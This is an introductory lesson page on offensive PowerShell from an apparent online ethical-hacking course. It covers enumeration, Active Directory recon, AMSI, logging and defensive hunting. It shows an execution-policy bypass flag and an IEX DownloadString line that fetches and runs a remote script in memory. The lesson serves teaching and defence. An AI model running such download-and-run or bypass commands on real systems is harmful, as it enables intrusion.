0Pricing
Ethical Hacking Academy · Lesson

PowerShell for Attackers

Offensive PowerShell.

PowerShell for Attackers is a free Ethical Hacking Academy lesson on CoddyKit — lesson 4 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Ethical Hacking Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.

Why PowerShell

PowerShell is built into Windows, deeply integrated with the OS and .NET, and trusted by administrators. That makes it a favorite living-off-the-land tool for attackers - no malware to drop.

This lesson covers offensive PowerShell concepts you must understand to attack and defend Windows.

Cmdlets and the Pipeline

PowerShell commands are cmdlets in Verb-Noun form. They pass rich objects (not just text) down the pipeline, making enumeration powerful.

Get-Process | Where-Object { $_.CPU -gt 10 } | Select-Object Name, Id

System Enumeration

Attackers use built-in cmdlets to survey a host quickly - users, services, network, and patches.

Get-LocalUser
Get-Service | Where-Object Status -eq 'Running'
Get-NetTCPConnection -State Listen

Execution Policy Is Not Security

The execution policy restricts running script files, but it is not a security boundary. Many simple flags bypass it, so defenders should not rely on it.

powershell -ExecutionPolicy Bypass -File script.ps1

Download and Run

A common technique fetches a payload and runs it in memory, leaving little on disk. This is why network and AMSI monitoring matter.

IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/tool.ps1')

Encoded Commands

The -EncodedCommand flag runs Base64-encoded PowerShell, often used to hide intent from casual inspection and simple filters.

Defenders decode these from logs to reveal what really ran.

powershell -EncodedCommand <base64-here>

Offensive Frameworks

Mature toolkits build on these primitives:

  • PowerSploit / PowerView - AD enumeration and post-exploitation.
  • Empire / Covenant - command-and-control.
  • Nishang - offensive scripts.

Most are now heavily signatured by defenses.

Active Directory Recon

In a domain, PowerShell (PowerView or the AD module) maps users, groups, and trust relationships - the basis for finding a path to Domain Admin.

Get-ADUser -Filter * -Properties LastLogonDate
Get-ADGroupMember 'Domain Admins'

AMSI and Logging

Microsoft added defenses specifically for PowerShell abuse:

  • AMSI (Antimalware Scan Interface) scans script content before execution.
  • Script Block Logging records what runs.
  • Constrained Language Mode limits dangerous features.

Attackers try to bypass AMSI; defenders watch the logs.

Defensive Hunting

Blue teams hunt malicious PowerShell by looking for:

  • Encoded or obfuscated commands.
  • DownloadString / IEX network fetches.
  • Unusual parent processes (Office spawning PowerShell).
  • AMSI and Event ID 4104 script block logs.

Use It Ethically

These techniques are powerful and map directly to real intrusions. Only run them in your own lab or with explicit written authorization.

Practicing the defensive side - reading logs, spotting AMSI hits - is just as valuable as the offensive side.

Quick Check

Evaluate the execution policy as a control.

Recap

You explored offensive PowerShell:

  • Object-based cmdlets make enumeration powerful and stealthy (living-off-the-land).
  • Download-and-run, encoded commands, and frameworks like PowerView/Empire.
  • The execution policy is not security; AMSI and script block logging are the real defenses.
  • Always operate ethically and study the defensive side.

This completes the Windows Internals course.

Frequently asked questions

Is the “PowerShell for Attackers” lesson free?

Yes — the full text of “PowerShell for Attackers” is free to read here on the web, and the Ethical Hacking Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Ethical Hacking Academy course, upgrade to CoddyKit PRO.

What will I learn in “PowerShell for Attackers”?

Offensive PowerShell. You practise Ethical Hacking Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.

Do I need any experience to start Ethical Hacking Academy?

No prior experience is required. Ethical Hacking Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 4 of 4, so you can start here or from the beginning and move at your own pace.

How long does the “PowerShell for Attackers” lesson take?

Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.

Can I write and run code in this Ethical Hacking Academy lesson?

Yes. Every Ethical Hacking Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.

All lessons in this course

  1. Windows Architecture
  2. The Registry
  3. Windows Authentication
  4. PowerShell for Attackers
← Back to Ethical Hacking Academy